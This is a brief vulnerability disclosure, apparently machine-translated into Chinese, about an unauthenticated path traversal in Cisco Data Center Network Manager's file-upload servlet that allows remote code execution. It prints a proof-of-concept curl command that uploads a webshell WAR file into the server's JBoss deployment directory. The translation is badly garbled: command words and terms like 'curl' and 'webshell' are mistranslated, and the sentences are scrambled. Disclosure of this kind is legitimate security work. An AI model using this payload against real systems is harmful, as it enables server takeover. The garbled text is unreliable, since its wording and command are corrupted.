(R1)思科数据中心网络管理器远程代码执行

在研究cve - 2017 - 6640站得住脚的发现,一个未经身份验证的路径遍历脆弱性在思科数据中心网络管理器。的漏洞存在XmpFileUploadServlet类dcnmweb.war。顾名思义,XmpFileUploadServlet通过HTTP处理文件上传。因此,遍历的路径可以用来写一个文件服务器上的任何位置。未经过身份验证的远程攻击者可以通过上传一个实现远程代码执行战争文件,其中包含一个JSP网站管理权限。

的概念:

- k - f的旋度的数据= @ / tmp /网站管理权限。战争' "https://172.26.24.15/Upload?svc=upload&maxFileSize=100000&tacCaseID=../../../../Program%20Files/Cisco%20Systems/dcm/jboss-as-7.2.0.Final/standalone/sandeployments"

思科报道,这个漏洞也会影响思科'基础设施。然而,对于这种情况下攻击者首先需要验证才能到达漏洞。